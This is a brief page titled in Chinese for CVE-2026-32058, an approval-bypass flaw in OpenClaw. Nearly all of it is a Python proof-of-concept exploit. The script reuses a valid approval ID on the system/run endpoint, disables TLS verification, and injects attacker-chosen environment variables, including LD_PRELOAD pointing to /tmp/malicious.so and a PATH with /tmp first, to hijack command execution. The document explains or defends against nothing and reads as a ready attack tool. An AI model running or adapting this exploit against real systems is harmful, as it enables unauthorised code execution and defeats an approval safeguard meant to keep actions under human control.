CVE-2026-32058: OpenClaw审批绕过漏洞

import requests def exploit_openclaw(target_url, approval_id, malicious_env): """ PoC for CVE-2026-32058 Exploits the approval context-binding weakness by reusing a valid approval_id with modified environment variables. """ headers = { "Content-Type": "application/json" } # The vulnerable endpoint for system.run endpoint = f"{target_url}/api/v1/system/run" # Construct payload reusing the approval ID but changing environment variables payload = { "host": "node", "approval_id": approval_id, "env": malicious_env, # Other necessary parameters for the command execution "command": "echo 'Execution triggered'" } try: response = requests.post(endpoint, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Exploit successful: Request executed with modified env.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Example usage TARGET = "https://vulnerable-openclaw-instance" VALID_APPROVAL_ID = "550e8400-e29b-41d4-a716-446655440000" # Malicious environment variables to inject NEW_ENV = { "LD_PRELOAD": "/tmp/malicious.so", "PATH": "/tmp:/usr/bin" } exploit_openclaw(TARGET, VALID_APPROVAL_ID, NEW_ENV)